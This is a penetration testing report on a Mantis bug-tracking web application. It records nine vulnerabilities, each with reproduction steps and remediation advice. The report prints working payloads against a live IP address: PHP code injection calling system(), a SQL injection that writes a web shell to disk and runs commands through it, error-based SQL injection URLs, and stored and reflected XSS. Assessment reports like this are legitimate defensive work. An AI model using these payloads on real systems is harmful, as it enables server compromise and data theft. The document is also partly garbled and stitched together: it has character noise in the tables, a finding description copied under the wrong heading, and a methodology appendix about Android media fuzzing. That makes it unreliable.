

**Mantis Penetration Testing Report**

V1.0

Assessment Date: 26/07/2019

By: Indrajeet Singh



**Document Properties**

|  |  |
| --- | --- |
| **Title** | **Mantis Penetration Testing Report** |
|  |  |
| **Version** | V1.0 |
|  |  |
| **Author** | Indrajeet Singh |
|  |  |
| **Pen-testers** | Indrajeet Singh |
|  |  |
| **Reviewed By** |  |
|  |  |
| **Approved By** |  |
|  |  |
| **Classification** | Confidential |
|  |  |

**Version control**

Version Date Author Description

V1.0 "#July26th, 2019-. /0!Indrajeet-Singh5 67!58FinalDraft.467!:;83!-/;0!383;



**Table of Contents**

|  |
| --- |
|  |
| **1 Executive Summary** |
| **2 Scope Of Work** |
| **3 Vulnerability Breakdown** |
| **4 Vulnerability Details** |
| **Appendix A. Application Risk Score Matrix** |
| **Appendix B. Terminology**  **Appendix C. Methodology for Assessment** |
|  |
|  |
|  |
|  |
|  |
|  |
|  |
|  |





**1. Executive Summary**

Optiv Application Security team was engaged to conduct security assessment on the Mantis bug tracking system application. The team identified 9 security defects that might impact confidentiality, integrity and availability of the application.

The findings from the assessment belong to the following categories (issue types) and have been categorized as Critical, High and Medium:

* OS Command Injection - Critical
* Code Injection - Critical
* SQL Injection - Critical
* Cross Site Scripting - High
* Backup/Default and Test Files found with Sensitive Information - High
* Insecure Direct Object Reference - High
* Directory Listing - Medium
* Information Disclosure - Medium
* Cross Site Request Forgery - Medium

**2. Scope of Work**

This security assessment covers the penetration testing of the Mantis bug tracking web application as well as SOAP based web services.

The application security defect classes and areas examined during the assessment include:

* Access Control
* Session Management
* Injection Flaws
* Error Handling and Information disclosure
* Sensitive Data storage and encryption
* Other common application vulnerabilities (OWASP Top 10, CWE/SANS Top 25)

**3. Vulnerability Breakdown**

Vulnerabilities and findings are divided based on their impact (Potential Damage) and likelihood (Probability of identification and exploit). High Impact and High Likelihood vulnerabilities represent the highest priority and present the greatest threat. Low Impact and Low Likelihood vulnerabilities represent the lowest priority and present the smallest threat.

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | **Risk Rating** | | | | |
|  | **Critical** | **High** | **Medium** | **Low** | **Informational** |
| OS Command Injection | 1 |  |  |  |  |
| Code Injection | 1 |  |  |  |  |
| SQL Injection | 1 |  |  |  |  |
| Cross Site Scripting |  | 1 |  |  |  |
| Backup/Default and Test Files found with Sensitive Information |  | 1 |  |  |  |
| Insecure Direct Object Reference |  | 1 |  |  |  |
| Directory Listing |  |  | 1 |  |  |
| Information Disclosure |  |  | 1 |  |  |
| Cross Site Request Forgery |  |  | 1 |  |  |
| **Total Vulnerabilities = 9** | **3** | **3** | **3** | **0** | **0** |

**4. Vulnerability Details**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | OS Command Injection | | | | |
| **Risk Rating** | Critical | **Issue Count** | 1 | **Source** | Dynamic Manual Analysis |
| Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation. | | | | | |
| **Instance1:**  **URL:** http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/index.php?bd=  **Vulnerable Parameter:** bd  **Steps:**  1. Navigate to above URL and Enter any Linux OS commands in the *bd* parameter.  2. Observe the command results in the response  **Screenshot:**    Fig 1. OS Command Injection | | | | | |
| **Remediation:** The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters or command list should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.  Genereal blacklist to be included for commannd injection can be |  ; & $ > < ' \  ! >> #  Escape or filter special characters for windows,   ( ) < > & \* ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `  Escape or filter special characters for Linux, { }  ( ) < > & \* ‘ | = ? ; [ ]  $ – # ~ ! . ” %  / \ : + , ` | | | | | |

383;!

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | Code Injection | | | | |
| **Risk Rating** | Critical | **Issue Count** | 1 | **Source** | Dynamic Manual Analysis |
| PHP code injection is a vulnerability that allows an attacker to inject custom code into the server side scripting engine. This vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call. Eval will execute the argument as code. | | | | | |
| **Instance1:**  **URL:** http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/manage\_proj\_page.php?sort=']);}error\_reporting(0);system('ls -al');%23  **Vulnerable Parameter:** sort  **Steps:**   1. Navigate to above URL. 2. Observe the injected PHP code results in the response   **Screenshot:**    Fig 1. PHP Code Injection | | | | | |
| **Remediation:** Whenever possible, applications should avoid incorporating user-controllable data into dynamically evaluated code. In almost every situation, there are safer alternative methods of implementing application functions, which cannot be manipulated to inject arbitrary code into the server's processing.  If it is considered unavoidable to incorporate user-supplied data into dynamically evaluated code, then the data should be strictly validated. Ideally, a whitelist of specific accepted values should be used. Otherwise, only short alphanumeric strings should be accepted. Input containing any other data, including any conceivable code metacharacters, should be rejected. | | | | | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | SQL Injection | | | | |
| **Risk Rating** | Critical | **Issue Count** | 3 | **Source** | Dynamic Manual Analysis |
| SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.  In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. | | | | | |
| **Instance1:**  **URL:** <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/core/adodb/server.php?sql>=  **Vulnerable Parameter:** sql  **Steps:**   1. Navigate to above URL. 2. Enter *SELECT%20%27%3C?%20system($\_GET[\%27cmd\%27]);%20?%3E%27%20INTO%20OUTFILE%20%27/var/www/html/65bd6d4a-0150-4ecd-98f3-7482692f7872/shell.php%27;* in the *sql* parameter. 3. Navigate to the URL <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/shell.php?cmd=ls%20-al>.   **Screenshot:**    Fig 1. SQL Injection  **Instance2:**  **URL:** <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/view_all_set.php?sort=id%2Cextractvalue%28null%2Cconcat%280x3a%2C%28SELECT%20group_concat%280x2D%2Ctable_schema%2C0x2E%2Ctable_name%2C0x2D%29%20FROM%20information_schema.tables%20WHERE%20table_schema%20%21%3D%200x6D7973716C%20AND%20table_schema%20%21%3D%200x696E666F726D6174696F6E5F736368656D61%29%2C0x3a%29%29%20--&dir=ASC,&type=2>  **Vulnerable Parameter:** sort  **Steps:**   1. Navigate to above URL. 2. Observe the SQL Injection stack trace.   **Screenshot:**    Fig 2. SQL Injection  **Instance3:**  **URL:** <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/search.php?project_id=0&sticky_issues=off&sortby=id%2Cstatus%2Cseverity%2Cextractvalue%28null%2Cconcat%280x3a%2C%28SELECT%20group_concat%280x2D%2Ctable_schema%2C0x2E%2Ctable_name%2C0x2D%29%20FROM%20information_schema.tables%20WHERE%20table_schema%20%21%3D%200x6D7973716C%20AND%20table_schema%20%21%3D%200x696E666F726D6174696F6E5F736368656D61%29%2C0x3a%29%29%20--&dir=DESC&hide_status_id=-2>  **Vulnerable Parameter:** sort  **Steps:**   1. Navigate to above URL. 2. Observe the SQL Injection stack trace.   **Screenshot:**    Fig 2. SQL Injection | | | | | |
| **Remediation:** To prevent and/or fix SQL Injection vulnerabilities, start using Parameterize SQL queries. Parameterized queries are simple to write and understand. They force you to define the SQL query and use placeholders for user-provided variables in the query. After the SQL statement is defined, you can pass each parameter to the query. This allows the database to distinguish between the SQL command and data supplied by a user. If an attacker inputs SQL commands, the parameterized query treats them as untrusted input and the database does not execute injected SQL commands. If you properly parametrize SQL queries, all user input that is passed to the database is treated as data and can never be confused as being part of a command. | | | | | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | Cross Site Scripting | | | | |
| **Risk Rating** | High | **Issue Count** | 3 | **Source** | Dynamic Manual Analysis |
| Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. | | | | | |
| **Instance1:**  **URL:** <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/news_menu_page.php>  **Vulnerable Parameter:** Headline, Body  **Steps:**   1. Navigate to above URL and Enter <script>alert`12`</script> in the *Headline* input box. 2. Enter <script>alert`13`</script> in the *Body* textarea and Click on the *Post News* button. 3. Navigate to URL <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/main_page.php> 4. Observe the popup messages with 12 and 121.   **Screenshot:**    Fig 1. Cross Site Scripting    Fig 2. Cross Site Scripting  **Instance2:**  **URL:** <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/bug_report_page.php>  **Vulnerable Parameter:** Summary  **Steps:**   1. Navigate to above URL and Enter <script>alert`14`</script> in the *Summary* input box. 2. Enter anything in the *Description* textarea and Click on the *Submit Report* button. 3. Navigate to URL <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/my_view_page.php> 4. Observe the popup messages with 14.   **Screenshot:**    Fig 1. Cross Site Scripting  **Instance3:**  **URL:** <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/adminbak/upgrade_unattended.php?db_type=%3Cscript%3Ealert%281%29%3C/script%3E>  **Vulnerable Parameter:** db\_type  **Steps:**   1. Navigate to above URL. 2. Observe the popup messages with 1.   **Screenshot:**    Fig 1. Cross Site Scripting | | | | | |
| **Remediation:** Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data.  In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:   * **Filter input on arrival.** At the point where user input is received, filter as strictly as possible based on what is expected or valid input. * **Encode data on output.** At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding. * **Use appropriate response headers.** To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend. * **Content Security Policy.** As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur. | | | | | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | Backup/Default and Test Files found with Sensitive Information | | | | |
| **Risk Rating** | High | **Issue Count** | 1 | **Source** | Dynamic Manual Analysis |
| Back up/default/test files were left accessible on the application. These may allow access to critical functionalities, contain sensitive information or have vulnerabilities that can be exploited on the application. | | | | | |
| **Instance1:**  **URL:**  http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/backup.tgz  http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/backup.zip  http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/backup.tar.gz  **Vulnerable Parameter:** N/A  **Steps:**   1. Navigate to above URL and Download the Mantis backup file. 2. Extract the archive and Navigate to the codebase of the Mantis application.   **Screenshot:**    Fig 1. Backup/Default and Test Files found with Sensitive Information | | | | | |
| **Remediation:** Remove all back up/unwanted files from the application/application server. | | | | | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | Insecure Direct Object Reference | | | | |
| **Risk Rating** | High | **Issue Count** | 1 | **Source** | Dynamic Manual Analysis |
| Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.  Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks. | | | | | |
| **Instance1:**  **URL:** <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/file_download.php?file_id=1&type=doc>  **Vulnerable Parameter:** file\_id, type  **Steps:**   1. Navigate to above URL and Login with Manager credentials. 2. Access the downloaded file *API-Doc.txt* that is owned by administrator.   **Screenshot:**    Fig 1. IDOR | | | | | |
| **Remediation:** The only real solution to this issue is to implement an access control. The user needs to be authorized for the requested information before the server provides it.  It is also often recommended to use something less obvious that is harder to enumerate as a reference. Eg., a random string instead of an incrementing integer. This can be a good idea for multiple reasons, but should absolutely not be trusted as the only prevention against such an attack. | | | | | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | Directory Listing | | | | |
| **Risk Rating** | Medium | **Issue Count** | 1 | **Source** | Dynamic Manual Analysis |
| Web servers are usually configured to disallow listings of directories containing scripts and textual contents. However, if the web server was configured improperly, it is possible to retrieve a directory listing by sending a request for a specific directory, rather than for a file. Example request for a directory listing of the directory named "some\_dir" :  http://TARGET/some\_dir/  The directory listing is used by an attacker to locate files in the web directories that are not normally exposed through links on the web site. Configuration files and other components of web applications that potentially contain sensitive information can be viewed this way. | | | | | |
| **Instances:**  **URLs:**  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/core/>  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/api/>  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/doc/>  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/tmp/>  **Vulnerable Parameter:** N/A  **Steps:**  1. Navigate to above URLs and Observe the directory Listing  **Screenshot:**    Fig 1. Directory Listing | | | | | |
| **Remediation:** Configure the web server to deny listing of directories. | | | | | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | Information Disclosure | | | | |
| **Risk Rating** | Medium | **Issue Count** | 1 | **Source** | Dynamic Manual Analysis |
| Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation. | | | | | |
| **Instances:**  **URLs:**  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/phpinfo.php>  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/adminbak/upgrade_unattended.php?db_type=%27>  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/robots.txt>  <http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/seed>  **Vulnerable Parameter:** N/A  **Steps:**  1. Navigate to above URL and Observe the sensitive information displayed.  **Screenshot:**    Fig 1. Information Disclosure | | | | | |
| **Remediation:** Remove the file from production systems. Implement proper access control to restrict access to unauthorized resources. Replace Stack Traces with generic messages. | | | | | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Vulnerability** | Cross Site Request Forgery | | | | |
| **Risk Rating** | Medium | **Issue Count** | 1 | **Source** | Dynamic Manual Analysis |
| CSRF attacks force an authenticated victim's browser to send an unauthenticated request to a vulnerable web application, which then performs unauthorized action on behalf of the attacker.  If the request does not contain a nonce that proves its provenance, the code that handles the request is vulnerable to a CSRF attack (unless it does not change the state of the application.)  This means a Web application that uses session cookies has to take special precautions in order to ensure that an attacker can't trick users into submitting bogus requests | | | | | |
| **Instance1:**  **URL:** http://52.23.185.72/65bd6d4a-0150-4ecd-98f3-7482692f7872/proj\_doc\_update.php  **Vulnerable Parameter:** N/A  **Steps:**   1. Navigate to Docs menu with site admin privilege. 2. Select any of the Project Documentation item and Click on the *Edit* Button. 3. Update the description, Title and Click on the Update File Button. 4. Observe that the CSRF protection token is absent in the request.   **Screenshot:**    Fig 1. CSRF | | | | | |
| **Remediation:** **Checking for Referral Header**  Checking for a referral header can help in preventing the CSRF. If the request is coming from some other domain, it must be the fake request so block it. Always allow requests coming from the same domain. This method fails if the website has open redirection vulnerabilities. Attackers can perform GET CSRF by using open redirection.  Now these days, most of the applications use HTTPS connection. In this the referrer will be omitted. So this method will not help if a website is using https. So, we will have to search another way.  **Captcha Verification in forms**  This is another nice way to prevent CSRF attacks on forms. Captcha verification process was initially developed to prevent BOT spam in forms. But it can also be helpful in preventing CSRF. As the captcha is generated on the client side randomly, an attacker cannot guess the pattern. So, he will never be able to send the correct Captcha with a fake request. And all fake requests will be blocked by a Captcha verification function.  This method is not user friendly. Most of the users don’t want to fill the Captcha on the website. So, we should try to find ways that prevent CSRF vulnerability without adding any extra burdens on users.  **Unpredictable Synchronizer Token Pattern**  This is the most secure method for preventing CSRF. Unlike captcha verification, this method has nothing to do with users. So, users will never know that something has been added to protect them. In this method, the website generates a random token in each form as a hidden value. This token is associated with the users’ current session. Once the form is submitted, website verifies whether the random token comes via request. If yes, then verify whether it is right. By using this method, developers can easily identify whether the request was made by the user of attacker.  </pre>  <form action="accountdelete.php" method="post"><input type="hidden" name="CSRFToken" value="OWY4NmQdwODE4hODRjN2DQ2NTJlhMmZlYWEwYzU1KYWQwMTVhM2JmLNGYxYjJiMGI4jTZDE1ZDZjMTViMGYwMGEwOA==" />  ...</form>  <pre>  Strength of this method depends on the token generation method. So, always try to generate the token in the manner that it is always unpredictable.  So, if you are thinking to implement this by your own, try to randomize it.  You can use:  ***$randomtoken = md5(uniqid(rand(), true));***  or try this  ***$randomtoken = base64\_encode( openssl\_random\_pseudo\_bytes(32));***  by using base64\_encode, it ensures that the generated value will not break your HTML layout with html chars.  Generate this ***$randomgtoken***, once the session is initiated after login. And add this to your session variables.  ***$\_SESSION[‘csrfToken’]=$randomtoken.***  Add this to every form for users.  ***<input type=’hidden’ name=’csrfToken’ value='<?php echo($\_SESSION[‘csrfTOken’]) ?>’ />***  The csrfToken is unique to each session. In every new session, it will generated again and then varified with form requests.  You can either use a single CSRF token for all forms in single session. But using different for all forms may be more secure. But using this method for generating a different csrfToken for different forms can create trouble when users open multiple forms in multiple tabs and submit one by one. | | | | | |

**Appendix A. Application Risk Score Matrix**

Our Risk rating is based on this calculation:

Risk=Threat \* Vulnerability \* Impact

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
|  | Threat | | | | Low | |  |  |  | Medium | | |  |  |  | High | | |  |  | Critical | | |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  | Vulnerability | | | | L | M |  | H | C | L | M |  | H | C |  | L |  | M | H | C | L | M |  | H | C |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  | Impact | | | Low | 1 | 2 |  | 3 | 4 | 1 | 4 |  | 6 | 8 |  | 3 |  | 6 | 9 | 12 | 4 | 8 |  | 12 | 16 |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  | Medium | 2 | 4 |  | 6 | 8 | 4 | 8 |  | 12 | 16 |  | 6 |  | 12 | 18 | 24 | 8 | 16 |  | 24 | 32 |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  | "#$ | | High | 3 | 6 |  | 9 | 12 | 6 | 12 |  | 18 | 24 |  | 9 |  | 18 | 27\* | 36 | 12 | 24 |  | 36 | 48 |  |
|  |  | !%&'(#)\*)&'+!,! |  | -./0!.- | | |  |  | 12!1.03!0045!.567!5895!.467!:;83! | | | | | | | |  | - | /;0!383;! | |  |  |  |  |
|  |  |  |  | Critical | 4 | 8 |  | 12 | 16 | 8 | 16 |  | 24 | 32 |  | 12 |  | 24 | 36 | 48 | 16 | 32 |  | 48 | 64 |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  | Table 3 Risk Analysis | | | | | | |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  | |  |  |  |  |  | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  | L |  | Low | |  |  |  |  | 1-16 | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  | |  |  |  |  |  | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  | M |  | Medium | |  |  |  |  | 17-32 | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  | |  |  |  |  |  | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  | H |  | High | |  |  |  |  | 33-48 | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  | |  |  |  |  |  | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  | C |  | Critical | |  |  |  |  | 49-64 | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  | | | | | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  | Table 4 Rating Calculation | | | | | |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |

After calculating the risk rating, we start writing the report on each risk and how to mitigate it.

*\*Based on our analysis risks that falls under this category will be considered as High*

**Appendix B. Terminology**

**Critical**

Critical-priority issues have high impact and high likelihood. Critical-priority issues are easy to

Detect and exploit and result in large asset damage. These issues represent the highest security

Risk to the application. As such, they should be remediated prior to the go live date for applications

Or functionalities not yet in production. Applications with vulnerabilities already in production should

Fix critical priority issues within 5 days from the Preliminary Report date.

**High**

High-priority issues have high impact and low likelihood. High-priority issues are often difficult to

Detect and exploit, but can result in large asset damage. These issues represent a high security risk

To the application. High-priority issues should be remediated prior to the go live date for

Applications or functionalities not yet in production. Applications with vulnerabilities already in

Production have 30 days from the Preliminary Report date to fix high priority issues.

**Medium**

Medium-priority issues have low impact and high likelihood. Medium-priority issues are easy to

Detect and exploit, but typically result in small asset damage. These issues represent a moderate

Security risk to the application. Medium-priority issues should be remediated prior to the go live date

For applications or functionalities not yet in production. Applications with vulnerabilities already in

Production have 60 days from the Preliminary Report date to fix Medium priority issues.

**Low**

Low-priority issues have low impact and low likelihood. Low-priority issues can be difficult to detect

And exploit and typically result in small asset damage. These issues represent a minor security risk

To the application. Low-priority issues should be remediated in the next scheduled product update.

**Appendix C. Methodology for Application Assessment**

**Application Footprinting** – This phase identifies all applications and services using the Libstagefright . In this case Media Server is using the Libstagefright and also it is a privileged service running in the background.

**Attack Surface Discovery** – In this phase all the attack surfaces are discovered for MPEG4 Media parsing done by Libstagefright. The approach involves attaching the mediaserver process to debugger and monitoring the open function call etc.

**Attack Vector Enumeration** – In this phase all the attack vectors are discovered which can trigger the vulnerability.

This involves input tracing to the vulnerable function call.

**Fuzzing** – Fuzzing is a technique used to test the software by

Exposing the implementation to unexpected, invalid, or random input with the hope

That the target will react in an unexpected way, and thereby, to discover new vulnerabilities

**Exploitation and Pen-testing** – A full blown penetration and exploitation of discovered

Vulnerabilities is performed to detect the severity and possible impact of existing vulnerabilities.

**Mitigation Strategies** – Based on overall findings, a comprehensive plan for mitigation along with

Recommendation on secure coding best practices is provided. These strategies need to be

Implemented for overall security of application.

**Reporting** – All observations, findings, test cases and recommendations are documented in the

Final report. A risk rating is assigned to each discovered vulnerabilities based on CVSS v2 and

CWE.